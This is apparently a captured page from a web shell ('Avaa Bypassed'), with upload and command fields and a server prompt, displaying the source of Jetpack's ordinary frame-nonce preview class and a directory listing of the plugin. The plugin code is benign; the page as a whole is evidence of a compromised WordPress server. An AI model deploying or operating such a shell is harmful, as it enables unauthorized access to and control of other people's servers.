[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@13.58.61.176: ~ $
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Allows viewing posts on the frontend when the user is not logged in.
 *
 * @package automattic/jetpack
 */

// phpcs:disable WordPress.Security.NonceVerification.Recommended -- This is _implementing_ cross-site nonce handling, no need for WordPress's nonces.

/**
 * Allows viewing posts on the frontend when the user is not logged in.
 */
class Jetpack_Frame_Nonce_Preview {
	/**
	 * Static instance.
	 *
	 * @todo This should be private.
	 * @var self
	 */
	public static $instance = null;

	/**
	 * Returns the single instance of the Jetpack_Frame_Nonce_Preview object
	 *
	 * @since 4.3.0
	 *
	 * @return Jetpack_Frame_Nonce_Preview
	 **/
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new Jetpack_Frame_Nonce_Preview();
		}

		return self::$instance;
	}

	/**
	 * Constructor.
	 *
	 * @todo This should be private.
	 */
	public function __construct() {
		if ( isset( $_GET['frame-nonce'] ) && ! is_admin() ) {
			add_filter( 'pre_get_posts', array( $this, 'maybe_display_post' ) );
		}

		// autosave previews are validated differently.
		if ( isset( $_GET['frame-nonce'] ) && isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
			remove_action( 'init', '_show_post_preview' );
			add_action( 'init', array( $this, 'handle_autosave_nonce_validation' ) );
		}
	}

	/**
	 * Verify that frame nonce exists, and if so, validate the nonce by calling WP.com.
	 *
	 * @since 4.3.0
	 *
	 * @return bool
	 */
	public function is_frame_nonce_valid() {
		if ( empty( $_GET['frame-nonce'] ) ) {
			return false;
		}

		$xml = new Jetpack_IXR_Client();
		$xml->query( 'jetpack.verifyFrameNonce', sanitize_key( $_GET['frame-nonce'] ) );

		if ( $xml->isError() ) {
			return false;
		}

		return (bool) $xml->getResponse();
	}

	/**
	 * Conditionally add a hook on posts_results if this is the main query, a preview, and singular.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Query $query Query.
	 * @return WP_Query
	 */
	public function maybe_display_post( $query ) {
		if (
			$query->is_main_query() &&
			$query->is_preview() &&
			$query->is_singular()
		) {
			add_filter( 'posts_results', array( $this, 'set_post_to_publish' ), 10, 2 );
		}

		return $query;
	}

	/**
	 * Conditionally set the first post to 'publish' if the frame nonce is valid and there is a post.
	 *
	 * @since 4.3.0
	 *
	 * @param array $posts Posts.
	 * @return array
	 */
	public function set_post_to_publish( $posts ) {
		remove_filter( 'posts_results', array( $this, 'set_post_to_publish' ), 10, 2 );

		if ( empty( $posts ) || is_user_logged_in() || ! $this->is_frame_nonce_valid() ) {
			return $posts;
		}

		$posts[0]->post_status = 'publish';

		// Disable comments and pings for this post.
		add_filter( 'comments_open', '__return_false' );
		add_filter( 'pings_open', '__return_false' );

		return $posts;
	}

	/**
	 * Handle validation for autosave preview request
	 *
	 * @since 4.7.0
	 */
	public function handle_autosave_nonce_validation() {
		if ( ! $this->is_frame_nonce_valid() ) {
			wp_die( esc_html__( 'Sorry, you are not allowed to preview drafts.', 'jetpack' ) );
		}
		add_filter( 'the_preview', '_set_preview' );
	}
}

Jetpack_Frame_Nonce_Preview::get_instance();

Filemanager

Name Type Size Permission Actions
3rd-party Folder 0755
_inc Folder 0755
css Folder 0755
extensions Folder 0755
images Folder 0755
jetpack_vendor Folder 0755
json-endpoints Folder 0755
modules Folder 0755
sal Folder 0755
src Folder 0755
vendor Folder 0755
views Folder 0755
CHANGELOG.md File 675.69 KB 0644
LICENSE.txt File 17.98 KB 0644
SECURITY.md File 2.45 KB 0644
class-jetpack-connection-status.php File 728 B 0644
class-jetpack-gallery-settings.php File 3.38 KB 0644
class-jetpack-pre-connection-jitms.php File 2.34 KB 0644
class-jetpack-stats-dashboard-widget.php File 7.77 KB 0644
class-jetpack-xmlrpc-methods.php File 8.38 KB 0644
class.frame-nonce-preview.php File 3.22 KB 0644
class.jetpack-admin.php File 18.47 KB 0644
class.jetpack-affiliate.php File 205 B 0644
class.jetpack-autoupdate.php File 9.74 KB 0644
class.jetpack-bbpress-json-api.compat.php File 220 B 0644
class.jetpack-cli.php File 71.65 KB 0644
class.jetpack-client-server.php File 2.62 KB 0644
class.jetpack-gutenberg.php File 46.52 KB 0644
class.jetpack-heartbeat.php File 4.55 KB 0644
class.jetpack-modules-list-table.php File 14.79 KB 0644
class.jetpack-network-sites-list-table.php File 5.98 KB 0644
class.jetpack-network.php File 21.06 KB 0644
class.jetpack-plan.php File 4.09 KB 0644
class.jetpack-post-images.php File 33.83 KB 0644
class.jetpack-twitter-cards.php File 12.92 KB 0644
class.jetpack-user-agent.php File 25.3 KB 0644
class.jetpack.php File 203.25 KB 0644
class.json-api-endpoints.php File 83.06 KB 0644
class.json-api.php File 34.47 KB 0644
class.photon.php File 1.74 KB 0644
composer.json File 3.92 KB 0644
enhanced-open-graph.php File 4.35 KB 0644
functions.compat.php File 4.28 KB 0644
functions.cookies.php File 2.04 KB 0644
functions.global.php File 15.37 KB 0644
functions.is-mobile.php File 2.47 KB 0644
functions.opengraph.php File 21.38 KB 0644
functions.photon.php File 3.04 KB 0644
global.d.ts File 48 B 0644
jetpack.php File 8.58 KB 0644
json-api-config.php File 338 B 0644
json-endpoints.php File 6.92 KB 0644
load-jetpack.php File 3.1 KB 0644
locales.php File 324 B 0644
readme.txt File 32.03 KB 0644
uninstall.php File 1.6 KB 0644
wpml-config.xml File 1.26 KB 0644